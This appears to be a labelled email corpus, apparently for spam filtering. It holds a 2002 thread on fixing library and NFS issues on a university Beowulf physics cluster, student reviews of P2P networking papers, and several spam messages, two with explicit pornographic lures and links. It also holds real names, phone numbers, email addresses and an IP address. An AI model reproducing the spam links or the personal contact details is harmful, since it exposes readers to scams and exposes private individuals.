Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538 ",0,0 steven james ,"""Gerard P. Gilfoyle"" ","Wed, 06 Nov 2002 02:01:20 -0500",Re: thanks and a long question,"Greetings, I am happy I could help. A long question deserves a long answer, so here goes :-) You were on the right track by putting the Xlib in with the regular libs. The issue is that slave nodes recieve their files from the master's /lib and /usr/lib directory. This is a configuration option in /etc/beowulf/config. Addint /usr/X11R6/lib there, then restarting the cluster should make it find the library. It is normally not included since it's unusual for a cluster app to want to use X (other than the root process of a parallel visualization app, that is). This is not necessarily a problem, just an unusual situation that needs configuring. Depending on exactly how it does it's thing, you may also need to set the DISPLAY environment variable explicitly to 192.168.1.1:0 It may also be necessary to use xhost to permit the node to use the Xservices on the master. For your example of node 3, you would want xhost +n3 before running root. (A useful note, the nss libs are patched so that n will correctly resolve to the node's IP address. If you are wanting to have the X connection re-directed to a workstation somewhere, we'll need to set the master up to forward outgoing connections from compute nodes so the X connection can get through. G'day, sjames On Wed, 6 Nov 2002, Gerard P. Gilfoyle wrote: > Hi Steven, > > Thanks for all your help on Monday with the upgrade of the Richmond > cluster. I have spent yesterday and today getting all our software > tools up and running and I have run into a problem. We use a code > called root to analyze our physics data both interactively and in > batch. It was written at CERN (a large, international particle physics > lab in Europe). I can run root on the master (pscm1) in interactive > mode and in batch with no problems. However, when I try to run it in > batch on a cluster node it can't find a library. The commands and > error message are below. > > running root in batch on master: > > root -b -q run_eod3.C <-- this works > > The '-b' means batch and '-q' means the next thing is a file > containing commands for the data analysis. > > running root in batch on a slave 3: > > bpsh 3 root -b -q /scratch/gilfoyle/e5/24028/run_eod3.C > > error message from the previous command: > > root: error while loading shared libraries: libXpm.so.4: cannot open > shared object file: No such file or directory > > The library libXpm.so.4 is located in /usr/X11R6/lib/ on pscm1 so > presumably this is an environment variable problem. I have tried > various fixes, but all have failed. Some of the things I tried are > listed below. > > 1. root uses a library whose location is defined by the environment > variable LD_LIBRARY_PATH which will point to an area like > /usr/root/lib/. I have tried adding /usr/X11R6/lib/ to this path and > even putting libXpm.so.4 in with the normal root libraries, but I get > the same failure. > > 2. After the upgrade on Monday, we created user directories and > account in the /home area, but I realized later the disk partition > containing /home was too small. I moved the home directories to > /usr/home. I speculated that the slave was not finding the correct > .cshrc file so I created a temporary /home/gilfoyle > area, put all the files in there (including the .cshrc file), and > tried running root on the slave from that new directory. I get the > same error message. > > Do you have any thoughts on what a solution could be??? > > I will also contact the root developers to see if they have run into > this problem. > > thanks-in-advance, > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 """Michael F. Vineyard"" ","""Gerard P. Gilfoyle"" ","Wed, 06 Nov 2002 15:18:32 -0500",Re: cluster status,"yo i don't think this is related to the problem below, but don't forget to install Motiff or we won't be able to build the CLAS software. Mike ""Gerard P. Gilfoyle"" wrote: > Hi Folks, > > Status of the cluster: > > 1. Modified hosts.allow and hosts.deny so everyone can log in remotely > as before. Please check this out and let me know of any problems. > > 2. Default shell is tcsh on gilfoyle, vineyard, and luminita. > > 3. Moved home directories from /home to /usr/home/ because of size > problems. > > 4. emacs installed. > > 5. cernlib installed, but not tested. > > 6. root installed and tested on the master. there is a colormap > problem when you run root on remote machines, but this is, i think, a > problem that we have seen before and it lies with the remote machine. > running root even in batch mode works fine on the master (this is > important for the next item). > > 7. test cluster - PROBLEM: the script i was using before works until > it actually runs root. the command i submit is, for example, the > following. > > bpsh 3 root -b -q /scratch/gilfoyle/e5/24028/run_eod3.C > > the error message i get is then > > root: error while loading shared libraries: libXpm.so.4: cannot open > shared object file: No such file or directory > > the library libXpm.so.4 is located in /usr/X11R6/lib/ on pscm1 so > presumably this is an environment variable problem. i have tried > various fixes, but all have failed. root uses LD_LIBRARY_PATH to find > its libraries, but it still fails to find libXpm.so.4 when i > explicitly add /usr/X11R6/lib/ to LD_LIBRARY_PATH or even when i put > libXpm.so.4 in $ROOTSYS/lib (where the root libraries are normally > kept). i am wondering if this is a problem caused by me changing the > location of the user directories from /home to /usr/home/. perhaps > nimbus can no longer get the correct environment because i've moved > the user directories. when i execute the command > > root -b -q run_eod3.C > > on the master things work fine. i will contact steven james today about > this today. > > if you have any ideas, let me know. > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 """Michael F. Vineyard"" ","""Gilfoyle, Jerry"" ","Wed, 06 Nov 2002 15:40:06 -0500",Can't access my files,"yo jerry, i don't have permission to access my files at /usr/old-home/vineyard. it appears that when my new account was created it was not made part of the users group. i would correct, but it appears you also changed the root password. mike -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 """Michael F. Vineyard"" ","""Gerard P. Gilfoyle"" ","Wed, 06 Nov 2002 16:17:41 -0500",Re: Can't access my files,"That worked. Thanks. I think it would be a good idea to make the primary group for all of us users so that we can share files easily with group access. mike ""Gerard P. Gilfoyle"" wrote: > try now. we changed the root password so steven james could log > in. i will change it back once i get the cluster working unless > you need it sooner. > > ""Michael F. Vineyard"" wrote: > > > > yo jerry, > > > > i don't have permission to access my files at /usr/old-home/vineyard. > > it appears that when my new account was created it was not made part > > of > > the users group. i would correct, but it appears you also changed the > > root password. > > > > mike > > > > -- > > Michael F. Vineyard Phone: (518) 388-8353 > > Department of Physics Fax: (518) 388-6947 > > Union College E-mail: vineyarm@union.edu > > Schenectady, NY 12308 http://www1.union.edu/~vineyarm > > > > > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 steven james ,"""Gerard P. Gilfoyle"" ","Wed, 06 Nov 2002 21:10:00 -0500",Re: thanks and a long question,"Greetings, The reboot of the master is not actually necessary. Instead, you can just do: /etc/init.d/beowulf restart on the master and reboot the slaves. Note that the restart command will crash any running jobs on the cluster (of course, so does rebooting the master :-) For item 4, it may be the size of the library at issue, or it may be confused by the number of library paths. I have seen that before (in particular w/ the Intel compiler libraries). It may be that I will need to modify the node_up script to preload /usr/root/PRO/lib. I will be happy to take care of that. Alternatively, placing the attached scripts into /usr/lib/beoboot/bin (make sure to chmod +x the scripts) should cause the nodes to preload the needed library and make sure they can find them. The instructions for running X should not be necessary. I suppose since the X libs are linked against, they get loaded even when the command options say don't use X. Hope the eveninng beer was good (he says over the half-pot sized cup of morning coffee). G'day, sjames On Wed, 6 Nov 2002, Gerard P. Gilfoyle wrote: > hi steven, > > here is the latest. > > 1. i added the /usr/X11R6/lib to the libraries list in > /etc/beowulf/config so it looks like this. > > libraries /lib /usr/lib /usr/X11R6/lib > > i then powered down the slaves, rebooted the master (is this necessary? > i thought this might be overkill), and powered up slaves 0-1. > > slave 0 seemed to be acting fine so i tried to run root using the > following command. > > pscm1:gilfoyle> bpsh 0 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > and got > > /usr/root/PRO/bin/root.exe: error while loading shared libraries: > libCore.so: cannot open shared object file: No such file or directory > > 2. ok. this is a library in /usr/root/PRO/lib so i just add that to the > library list which now looks like this. > > libraries /lib /usr/lib /usr/X11R6/lib /usr/root/PRO/lib > > i power down slaves 0-1, reboot the master, and power up slaves 0-1. i > have > set the root environment variable LD_LIBRARY_PATH to /usr/root/PRO/lib. > i > now get the following. > > pscm1:gilfoyle> bpsh 0 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > root: error while loading shared libraries: libXpm.so.4: cannot open > shared object file: No such file or directory > > this was the original Xlib that couldn't be found even though its area > (/usr/X11R6/lib) is now in the libraries list. > > 3. ok, can i try doing this with the LD_LIBRARY_PATH variable? i set it > the following way in my .cshrc file. > > setenv LD_LIBRARY_PATH ${ROOTSYS}/lib <-- ROOTSYS is the root area > setenv LD_LIBRARY_PATH ${LD_LIBRARY_PATH}:/usr/X11R6/lib > > i power down slaves 0-1, reboot the master (i'm getting faster with > this), and > power back up slaves 0-1. > > now i try to run root with > > bpsh 0 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > and it hangs and i can no longer communicate with the slave. i checked > before > running root that i could run bpsh commands on the slave and it worked > fine. > > 4. a wild guess. is there a limit on the number of libraries i can add > in > /etc/beowulf/config. my next idea was to copy all the libraries into > /usr/lib. do you think this would work? i have to go home now and put > our > 4-year-old to bed. > > 5. you last message described how to use X on the slave. i don't think > we > need to do this. the '-b' option in root is meant to run root without > any graphics and i have done this many times even on the cluster before > the > upgrade. i guess they build one version of root and run it in graphics > and non-graphics modes. if you think we need to do the things you > describe, > let me know. > > let me know what you think. > > time for a beer. > > jerry > > > steven james wrote: > > > > Greetings, > > > > I am happy I could help. > > > > A long question deserves a long answer, so here goes :-) > > > > You were on the right track by putting the Xlib in with the regular libs. > > > > The issue is that slave nodes recieve their files from the master's /lib > > and /usr/lib directory. > > > > This is a configuration option in /etc/beowulf/config. > > > > Addint /usr/X11R6/lib there, then restarting the cluster should make it > > find the library. > > > > It is normally not included since it's unusual for a cluster app to want > > to use X (other than the root process of a parallel visualization > > app, that is). > > > > This is not necessarily a problem, just an unusual situation that needs > > configuring. Depending on exactly how it does it's thing, you may also > > need to set the DISPLAY environment variable explicitly to 192.168.1.1:0 > > > > It may also be necessary to use xhost to permit the node to use the > > Xservices on the master. For your example of node 3, you would want > > xhost +n3 > > > > before running root. (A useful note, the nss libs are patched so that > > n will correctly resolve to the node's IP address. > > > > If you are wanting to have the X connection re-directed to a workstation > > somewhere, we'll need to set the master up to forward outgoing connections > > from compute nodes so the X connection can get through. > > > > G'day, > > sjames > > > > > > On Wed, 6 Nov 2002, Gerard P. Gilfoyle wrote: > > > > > Hi Steven, > > > > > > Thanks for all your help on Monday with the upgrade of the Richmond > > > cluster. I have spent yesterday and today getting all our software > > > tools up and running and I have run into a problem. We use a code > > > called root to analyze our physics data both interactively and in > > > batch. It was written at CERN (a large, international particle physics > > > lab in Europe). I can run root on the master (pscm1) in interactive > > > mode and in batch with no problems. However, when I try to run it in > > > batch on a cluster node it can't find a library. The commands and > > > error message are below. > > > > > > running root in batch on master: > > > > > > root -b -q run_eod3.C <-- this works > > > > > > The '-b' means batch and '-q' means the next thing is a file > > > containing commands for the data analysis. > > > > > > running root in batch on a slave 3: > > > > > > bpsh 3 root -b -q /scratch/gilfoyle/e5/24028/run_eod3.C > > > > > > error message from the previous command: > > > > > > root: error while loading shared libraries: libXpm.so.4: cannot open > > > shared object file: No such file or directory > > > > > > The library libXpm.so.4 is located in /usr/X11R6/lib/ on pscm1 so > > > presumably this is an environment variable problem. I have tried > > > various fixes, but all have failed. Some of the things I tried are > > > listed below. > > > > > > 1. root uses a library whose location is defined by the environment > > > variable LD_LIBRARY_PATH which will point to an area like > > > /usr/root/lib/. I have tried adding /usr/X11R6/lib/ to this path and > > > even putting libXpm.so.4 in with the normal root libraries, but I get > > > the same failure. > > > > > > 2. After the upgrade on Monday, we created user directories and > > > account in the /home area, but I realized later the disk partition > > > containing /home was too small. I moved the home directories to > > > /usr/home. I speculated that the slave was not finding the correct > > > .cshrc file so I created a temporary /home/gilfoyle > > > area, put all the files in there (including the .cshrc file), and > > > tried running root on the slave from that new directory. I get the > > > same error message. > > > > > > Do you have any thoughts on what a solution could be??? > > > > > > I will also contact the root developers to see if they have run into > > > this problem. > > > > > > thanks-in-advance, > > > > > > jerry > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 steven james ,gilfoyle ,"Thu, 07 Nov 2002 07:21:28 -0500",Re: thanks and a long question,"Greetings, The error message itself may be found in /var/log/beowulf/node. I'll need that for the failed nodes. As an alternative, I could log in and check things out, but it appears that hosts.deny must have outside access disallowed. Perhaps my workstation's IP (216.162.33.24) could be allowed ssh access? G'day, sjames On Thu, 7 Nov 2002, gilfoyle wrote: > hi steven, > > the latest. > > 1. i put the scripts you sent in /usr/lib/beoboot/bin and restarted > beowulf. > > 2. i powered down the slaves 0-2 (actually our admin person did this. > i'm > at jefferson lab today and tomorrow.) and brought them back up. > > 3. slaves 0,2 came up with an error and slave 1 did not come back at > all. > > i don't know if this is related to the scripts or not. i will be back at > richmond tomorrow evening and try to bring things back myself. > > you said you would modify the node_up script. is that the one you sent > me? > > jerry > > steven james wrote: > > > > Greetings, > > > > The reboot of the master is not actually necessary. Instead, you can just > > do: > > > > /etc/init.d/beowulf restart > > on the master and reboot the slaves. Note that the restart command will > > crash any running jobs on the cluster (of course, so does rebooting the > > master :-) > > > > For item 4, it may be the size of the library at issue, or it may be > > confused by the number of library paths. I have seen that before (in > > particular w/ the Intel compiler libraries). It may be that I will need to > > modify the node_up script to preload /usr/root/PRO/lib. I will be happy to > > take care of that. > > > > Alternatively, placing the attached scripts into > > /usr/lib/beoboot/bin (make sure to chmod +x the scripts) should cause the > > nodes to preload the needed library and make sure they can find them. > > > > The instructions for running X should not be necessary. I suppose since > > the X libs are linked against, they get loaded even when the command > > options say don't use X. > > > > Hope the eveninng beer was good (he says over the half-pot sized cup of > > morning coffee). > > > > G'day, > > sjames > > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 Noah Lowry ,egs@cs.cornell.edu,"Thu, 07 Nov 2002 10:31:58 -0500",Report to heavy penetratioon," Decrease stress with so easy hourly http://kbustercn.com > > njye even if luminio which srpo > > awakening tragedians lindau along scapes ",1,1 steven james ,gilfoyle ,"Thu, 07 Nov 2002 18:37:09 -0500",Re: thanks and a long question,"Greetings, Found it! It looks like all of the newline chars in the scripts got translated to the MS convention. Since the exec system call doesn't see anything special about , it tried to interpret it, so it attempted to run the script with /bin/sh It doesn't make things any easier that the only way to see that was to hexdump the text! I have renamed the node_up and setup_libs appending -02-nov-08 should you want to look at that. I then scp'ed clean versions in. The cluster should boot now. G'day, sjames On Thu, 7 Nov 2002, gilfoyle wrote: > hi steven, > > the message in the log is the following. > > /var/log/beowulf > [root@pscm1]# more node.0 > /etc/beowulf/node_up: /usr/lib/beoboot/bin/node_up: bad interpreter: No > such file or directory > > i've added your IP address to hosts.allow. > > cheers, > > jerry > > > steven james wrote: > > > > Greetings, > > > > The error message itself may be found in /var/log/beowulf/node. > > I'll need that for the failed nodes. > > > > As an alternative, I could log in and check things out, but it appears > > that hosts.deny must have outside access disallowed. Perhaps my > > workstation's IP (216.162.33.24) could be allowed ssh access? > > > > G'day, > > sjames > > > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 steven james ,gilfoyle ,"Fri, 08 Nov 2002 02:20:44 -0500",Re: progress on Richmond cluster (but not done yet),"Greetings, I can see the confusion. Digging through my old notes, I see that /usr should be NFS shared with the cluster. Currently, the /usr on the nodes is NOT an NFS mount of /usr on the master. If you like, I can fix that right up. No wonder things didn't work as you expected! G'day, sjames On Fri, 8 Nov 2002, gilfoyle wrote: > hi steven, > > progress! root actually started to run - and then crashed. > the error messages are below. it looks like it cannot get to > some files on the master. these files all exist in the areas > /usr/root/PRO/include/ and /usr/root/PRO/cint/ on the master. > i compared their file permissions with other machines and they > are the same so i don't think it is a permission problem. > > step-by-tortuous-step... > > jerry > > pscm1:gilfoyle> bpsh 2 root -b -q /scratch/gilfoyle/e5/24026/run_eod3.C > Error: cannot open file ""/usr/root/PRO/include/RQ_OBJECT.h"" FILE: > LINE:0 > ******************************************* > * * > * W E L C O M E to R O O T * > * * > * Version 3.02/07 10 January 2002 * > * * > * You are welcome to visit our Web site * > * http://root.cern.ch * > * * > ******************************************* > > Compiled for linux with thread support. > > CINT/ROOT C/C++ Interpreter version 5.15.25, Jan 6 2002 > Type ? for help. Commands must be C++ statements. > Enclose multiple statements between { }. > Error: cannot open file ""iostream"" FILE:/tmp/fileHs83TS_cint LINE:2 > *** Interpreter error recovered *** > Error: cannot open /usr/root/PRO/cint/MAKEINFO > !!! There are examples of MAKEINFO files under > /usr/root/PRO/cint/platform/ !!! > Please refer to these examples and create for your platform > Error: cannot open /usr/root/PRO/cint/MAKEINFO > > ... this stuff goes on for a while and then > > > Processing /scratch/gilfoyle/e5/24026/run_eod3.C... > Error: cannot open file ""TROOT.h"" > FILE:/scratch/gilfoyle/e5/24026/eod3.h LINE:13 > *** Interpreter error recovered *** > > > TROOT.h is an include file in the actual code i'm trying to run > (eod3.C). root uses a > C++ interpreter as its command line language in both interactive and > batch modes. > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,gilfoyle ,"Fri, 08 Nov 2002 05:06:06 -0500",Re: progress on Richmond cluster (but not done yet),"Greetings, It's fixed up now. since nodes >2 are down, I wasn't able to complete a couple of needed commands on them that they will need: bpsh 3-48 rmdir /home bpsh 3-48 ln -s /usr/home /home That is necessary since the kernel NFS won't allow a single host to NFS mount a directory and it's parent directory at the same time. So, I modified the exports table to export /usr to the slaves, and continue exporting /usr/home to the other machines listed there. I think this should have it, let me know! G'day, sjames On Fri, 8 Nov 2002, gilfoyle wrote: > that would be great if you could fix it. > > jerry > > steven james wrote: > > > > Greetings, > > > > I can see the confusion. Digging through my old notes, I see that /usr > > should be NFS shared with the cluster. Currently, the /usr on the nodes is > > NOT an NFS mount of /usr on the master. > > > > If you like, I can fix that right up. No wonder things didn't work as you > > expected! > > > > G'day, > > sjames > > > > On Fri, 8 Nov 2002, gilfoyle wrote: > > > > > hi steven, > > > > > > progress! root actually started to run - and then crashed. > > > the error messages are below. it looks like it cannot get to > > > some files on the master. these files all exist in the areas > > > /usr/root/PRO/include/ and /usr/root/PRO/cint/ on the master. > > > i compared their file permissions with other machines and they > > > are the same so i don't think it is a permission problem. > > > > > > step-by-tortuous-step... > > > > > > jerry > > > > > > pscm1:gilfoyle> bpsh 2 root -b -q /scratch/gilfoyle/e5/24026/run_eod3.C > > > Error: cannot open file ""/usr/root/PRO/include/RQ_OBJECT.h"" FILE: > > > LINE:0 > > > ******************************************* > > > * * > > > * W E L C O M E to R O O T * > > > * * > > > * Version 3.02/07 10 January 2002 * > > > * * > > > * You are welcome to visit our Web site * > > > * http://root.cern.ch * > > > * * > > > ******************************************* > > > > > > Compiled for linux with thread support. > > > > > > CINT/ROOT C/C++ Interpreter version 5.15.25, Jan 6 2002 > > > Type ? for help. Commands must be C++ statements. > > > Enclose multiple statements between { }. > > > Error: cannot open file ""iostream"" FILE:/tmp/fileHs83TS_cint LINE:2 > > > *** Interpreter error recovered *** > > > Error: cannot open /usr/root/PRO/cint/MAKEINFO > > > !!! There are examples of MAKEINFO files under > > > /usr/root/PRO/cint/platform/ !!! > > > Please refer to these examples and create for your platform > > > Error: cannot open /usr/root/PRO/cint/MAKEINFO > > > > > > ... this stuff goes on for a while and then > > > > > > > > > Processing /scratch/gilfoyle/e5/24026/run_eod3.C... > > > Error: cannot open file ""TROOT.h"" > > > FILE:/scratch/gilfoyle/e5/24026/eod3.h LINE:13 > > > *** Interpreter error recovered *** > > > > > > > > > TROOT.h is an include file in the actual code i'm trying to run > > > (eod3.C). root uses a > > > C++ interpreter as its command line language in both interactive and > > > batch modes. > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 ISEMI ,egs@cs.cornell.edu,"Sat, 09 Nov 2002 17:57:56 +0200",���� ����� ������� ����� ������ ������ ?,"To Be Removed: remove@isemi.org ",1,0 gilfoyle ,"""Stefanovski, Sasko"" ","Mon, 11 Nov 2002 01:07:02 -0800",the latest on the cluster,"hi sasko, hope you enjoyed philadelphia last week. to update you on the cluster, we are still not fully operational. we had problems last week getting our software running on the slave nodes because of problems finding libraries, input files, etc. we finally got things set up last friday (with lots of help from steven james), but i ran into another problem over the weekend. the symptoms are the following. 1. i was able to run the scripts that call our analysis code (called root) to analyze a couple of files on two slaves. 2. when i try to analyze five or more files, the jobs start up and then pscm1 `hangs' and i get no response. this happened for the first time sunday afternoon and again sunday night. this is the current state of the cluster. 3. when you get a chance today could you go over to physics and reboot pscm1. also reboot, the first 5-10 slaves. there is no sense in taking the time to reboot all the slaves since things are failing with 5-10 slaves. 4. once we get rebooted, i will check some stuff and send a message to steven james. i have shifts at jlab all week so i will have only a little time to work on this during this week. thanks-in-advance, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 Thomas Roeder ,Emin Gun Sirer ,"Mon, 11 Nov 2002 16:37:55 -0500",615 PAPER #63,"The three papers today present a view of the structure and characteristics of P2P networks. The questions for today's papers ask whether structured or unstructured P2P systems perform better. We are further asked about the design constraints of a P2P system. The Small World paper describes the characteristics a network must have to allow a decentralized algorithm to find a good short path to a given node. It gives proofs of the properties required. With respect to the proposed questions, it shows that given the dimensionality of the space, there are a particular number of long-distance contacts that an average node must have to find these short paths with reasonable probability. A design constraint of a P2P system is thus that the methods for establishing contacts within the system must encourage these kinds of links and in these proportions so that the small world property can be established. It shows that an unstructured P2P system might perform at least as well as a structured system by taking advantage of the small world property. The chapter ""Performance"" from the P2P O'Reilly book makes a comparison of Freenet and Gnutella and discusses the applicability of the small world effect to their structure. Both are unstructured P2P systems, but with significant differences in their performance characteristics. As above, the small world property is exploited in Freenet to get relatively small pathlengths for queries. A structure is suggested for Gnutella which would make a hierarchy of peers, which could then overcome the problems it has with its broadcast search. It does suggest that at least with respect to searchability, the unstructured network labors under a significant disadvantage. The measurement paper from UWashington measures Napster and Gnutella in terms of the characteristics that their users possess. They show that many of the standard assumptions about the users of P2P systems do not hold in practice. Their main result, however, is that the heterogeneity of these two P2P systems is very high, and that any such system which wishes to improve its performance needs to use information about the characteristics of nodes in the network (preferably by discovering them itself, since they also discovered a significant amount of misrepresentation in the system) to direct queries and downloads. This result suggests that the small world property discussed in the two papers above is a useful property but not sufficient to guarantee good performance of an unstructured system over a structured one. Indeed, the remedies proposed by this paper would be more easily implemented on a more structured system, since the less structure that exists, the more times the work involved in making these measurements would have to be repeated. The design constraints revealed by this study are particularly striking in terms of the uncooperative nature of the participants and the short periods of time for which they remain on the network. A short charaterization of these properties might be that a significant fraction of the members of the network lie about their attributes, are only there to get resources, and only stay on the network for short periods of time. The users tend to have low enough bandwidths on average that many cannot function as servers. ",0,0 steven james ,gilfoyle ,"Mon, 11 Nov 2002 08:30:43 -0500",Re: the Richmond saga continues,"Greetings, I am still looking at the scripts, but in the mean while, I have made a few mods (again) to the library setup to compensate for the changes to directory structure. perl is dependant on several affected libs. hopefully, this will make it happy. G'day, sjames On Mon, 11 Nov 2002, gilfoyle wrote: > Hi Steven, > > The saga continues. After you made your changes last Friday I was > able to run root on the slaves 0-2. I could execute it from the master > using the following command. > > bpsh 0 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > I was also able to run my scripts for just those two nodes. On Sunday, > I rebooted the remaining nodes (3-48), removed the /home area and put > in a link home->/usr/home. I then started to run ten jobs which would > run on nodes 0-9. The master hung: wouldn't budge. I rebooted the > master and brought up slaves 0-5 and tried again and got the same > results. After rebooting the master and slaves 0-5 this is what I have > noticed. > > 1. I ran my scripts without running root and they appeared to work! > > 2. There are two sub-directories on slave 0, /include and /cint that > are not visible on any of the other slaves. These two subdirectories > are needed by root. This would seem to be a smoking gun for the > problem except for one thing. Slave 1 seemed to run root successfully > even though those areas are not visible to it. > > 3. I can run root on slaves 3-5 from the master using the bpsh > command. The master only gets hung when I am running my script. I am > using perl for these scripts and I have attached them to this message. > Perhaps there is some library that perl needs?? > > 4. The problem seems to be with the nodes that I rebooted on Sunday > and not the ones you worked on last Friday. Did I reboot them > incorrectly? I checked some of the permissions of directories on the > slaves and they all appear to be the same. > > I have rebooted the master and nodes 0-5. I am at JLab this week so I > can only work on this sporadically, but I will try to get as much > done as I can. > > Let me know what you think. > > Jerry > > p.s. description of perl scripts: > > submit_eod3c.pl - main script, does some housekeeping and generates the > input file for the batch command. > > run_root_on_node2.pl - copies files over to the slave, runs root, and > cleans up. > > > > > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 Ward ,ggilfoyl@facstaff.richmond.edu,"Tue, 12 Nov 2002 02:03:06 -0700",fine-looking russiann Eighteen in poono!," splendiferous Eighteens doing superb bllowjob! http://activitydownload.info/psmasturbating.htm?iSPhfd.fX,hj UN$UBSCRIBEE http://activitydownload.info ",1,1 bd39@cornell.edu,egs@CS.Cornell.EDU,"Mon, 11 Nov 2002 23:17:59 -0500",615 PAPER 63,"PAPER 63 Small-World Phenomenon This paper gives an theoretical basis to the performance of peer to peer routing systems which exhibit local clustering along with knowledge of routes to neighbors which are topologically distant. The theoretical result of this paper is that given a k-dimensional space, maintaining a uniform distribution of long distance links between a node and a node at each distance scale (a node at distance k^i, for i=0 to log N), the expected routing length is logarithmic to number of nodes. It is also surprising that if the distribution is not uniform, then the performance quickly degrades from logarithmic, both for big and small network diameters. The important aspect with respect to peer-to-peer network routing is that routing must be able to traverse the network topology on different scales in order to efficiently find paths to destination nodes in an efficient manner. Performance of Freenet and Gnutella This paper (book chapter) gives an overview of a performance evaluation between Freenet and Gnutella. The Freenet portion we have seen before in the Freenet paper itself. In Freenet, we see that efficient routing is dependent on the existance of highly connected nodes which effectively present a shortcut routes. The Gnutella evaluation shows that gnutella queries can quickly saturate network links. Gnutella also does not have the small world highly connected nodes of Freenet, and thus queries into the network require contacting a large (50) number of nodes. Gnutella also scales linearly in bandwidth with the number of nodes in the system, which places an effective cap on the network size/query size. Measurement of Peer-to-Peer File sharing Systems This paper looks at the distribution of clients types in the peer-to-peer networks of Napster and Gnutella. The paper measures network bandwidth, latency, number of shared files and uptime of the peers of these peer to peer network. These measurements were taken by crawling both networks with queries and contacting their respective IP addresses to measure bandwidth, latency and uptime. These measurements show that a) the download capacity of the network exceeds the uploading capacity of the network b) few of the ""peers"" can fit in the high-availability, high-bandwidth profile of a server, while many of the clients are simply freeloaders on the network (especially Gnutella, where 7% of the peers serve more files than all other users combined). In terms of load balancing, most of the p2p ""peers"" behave in a client/server manner, rather than a peer to peer relationship. Can unstructured P2P systems perform as well as, or better than, more structured P2P networks ? What are the design constraints of P2P systems? >From the small world paper, it can be seen that if an unstructured p2p system has a uniform distribution of links among different routing distance scales, then it is possible to perform just as well as the structured routing schemes we have examined. It may be difficult to enforce this however, and from the theorectical result we can also see that performance depends on the uniformity of the choice of routes. The small world phenomenon also leads to an issue of load balancing. For those servers who happen to be highly connected, it seems that they would be a performance bottleneck for routing in the system. Because they lie on the prefered routes of many nodes, their resources to service requests could be exhausted by the amount of queries directed to them. Also, the selfish behavior of the users of a p2p network causes load imbalance in of itself. There must be some kind of quota of use system which balances what users give and take from the system. It seems that p2p systems need to have a mechanism to guarrantee the two P's, which is difficult to maintain given the heterogenaity of clients interacting in the network. Design constraints in a p2p network would be constant amount of bandwidth to work with (limiting scaling), support for many underfeatured clients and freeloaders with very few superpeers, (or some way to ensure this doesn't quite behave as badly). ",0,0 Syed Shafat Zaman ,Gun Sirer ,"Tue, 12 Nov 2002 00:10:46 -0500",615 PAPER 63,"The first paper is a discussion of the ""Small-World Phenomenon"" from an algorithmic perspective. It studies the correlation between the local structure and the long-range connections of a node in a network which are deciding factors in its capability to efficiently route messages to any other node on the network. The second paper further makes use of this observation and carries out two case studies involving Freenet and Gnutella. The theoretical analysis, based on the Small-Word Phenomenon, shows that given a critical threshold correlation, it is possible to route messages in an efficient manner regardless of the nature of the underlying graph. For example, for a regular graph, the high level of clustering leads to highly optimized local routing but poor average global pathlength. On the other end of the spectrum, random graphs exhibit exactly the opposite trends. The intermediate cases, which are more representative of P2P systems such as Freenet or Gnutella, however show desirable characteristics. Locally, they show high degree of clustering, while at a global level, the pathlength drops 